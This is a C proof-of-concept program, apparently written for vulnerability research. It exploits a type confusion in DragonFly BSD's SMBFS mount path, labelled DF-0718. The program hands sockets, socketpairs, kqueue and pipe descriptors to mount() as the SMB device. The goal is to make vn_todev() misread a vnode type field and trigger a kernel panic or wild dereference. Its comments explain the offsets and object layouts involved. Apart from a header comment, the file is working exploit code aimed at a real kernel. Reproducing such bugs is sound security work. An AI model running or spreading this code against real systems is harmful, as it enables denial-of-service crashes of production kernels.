/*
 * DF-0718 panic-hunter — tries many fd shapes to land VBLK(3)/VCHR(4) at the
 * v_type offset (0xe8=232) inside the type-confused f_data, which makes
 * vn_todev() either KKASSERT(vp->v_rdev!=NULL) or wild-deref SMB_GETDEV().
 *
 * Each sub-test calls mount(SMBFS) once. If the kernel panics on any of them,
 * the guest dies mid-test (the panic is captured in dfbsd-qemu/boot.log).
 *
 * Run as root. Each invocation does several mount() attempts in sequence;
 * if a panic occurs the process won't print the "ALL DONE" line.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <vfs/smbfs/smbfs.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char mountpoint[] = "/mnt/df0718";

static void
tryone(const char *tag, int fd)
{
	struct smbfs_args m;
	int rv;
	memset(&m, 0, sizeof(m));
	m.version = SMBFS_VERSION;
	m.dev = fd;
	strlcpy(m.mount_point, mountpoint, sizeof(m.mount_point));
	m.uid = m.gid = 0;
	m.file_mode = 0644;
	m.dir_mode = 0755;
	errno = 0;
	rv = mount(SMBFS_VFSNAME, m.mount_point, 0, &m);
	printf("[%-32s] fd=%d rv=%d errno=%d (%s)\n", tag, fd, rv, errno,
	       strerror(errno));
	fflush(stdout);
}

int
main(void)
{
	mkdir(mountpoint, 0755);

	/* 1. bare AF_INET stream socket */
	tryone("inet stream", socket(AF_INET, SOCK_STREAM, 0));

	/* 2. AF_INET DGRAM (so_type=2) */
	tryone("inet dgram", socket(AF_INET, SOCK_DGRAM, 0));

	/* 3. AF_INET RAW (so_type=3 == VBLK numeric!) */
	tryone("inet raw", socket(AF_INET, SOCK_RAW, 0));

	/* 4. socketpair unix stream (both ends rw) */
	{ int sp[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp)==0) {
		tryone("unix streampair", sp[0]); close(sp[1]); } }

	/* 5. socketpair unix dgram */
	{ int sp[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sp)==0) {
		tryone("unix dgrampair", sp[0]); close(sp[1]); } }

	/* 6. kqueue (96-byte obj; offset 232 is OOB read into adjacent slab) */
	tryone("kqueue", kqueue());

	/* 7. pipe with data written (bufferB populated) */
	{ int p[2]; if (pipe(p)==0) {
		char buf[4096]; memset(buf,'A',sizeof(buf));
		write(p[1], buf, sizeof(buf));
		tryone("pipe-w-data-rdend", p[0]);
		tryone("pipe-w-data-wrend", p[1]);
		close(p[0]); close(p[1]); } }

	/* 8. AF_INET socket bound+listening (populates so_comp/so_state) */
	{ int s = socket(AF_INET, SOCK_STREAM, 0);
	  struct sockaddr_in sin; memset(&sin,0,sizeof(sin));
	  sin.sin_len=sizeof(sin); sin.sin_family=AF_INET; sin.sin_port=htons(0);
	  if (bind(s,(struct sockaddr*)&sin,sizeof(sin))==0) listen(s,5);
	  tryone("inet bound+listen", s); close(s); }

	/* 9. connected unix socketpair with data in flight */
	{ int sp[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp)==0) {
		char buf[8192]; memset(buf,'B',sizeof(buf));
		write(sp[0], buf, sizeof(buf));   /* fill so_snd of sp[0] */
		tryone("unixpair-full-snd", sp[0]);
		close(sp[0]); close(sp[1]); } }

	/* 10. regular file (vnode VREG, control: no type confusion) */
	{ int f = open("/etc/rc", O_RDONLY);
	  tryone("regular-file-vnode", f); close(f); }

	printf("\nALL DONE — kernel survived all attempts\n");
	return 0;
}
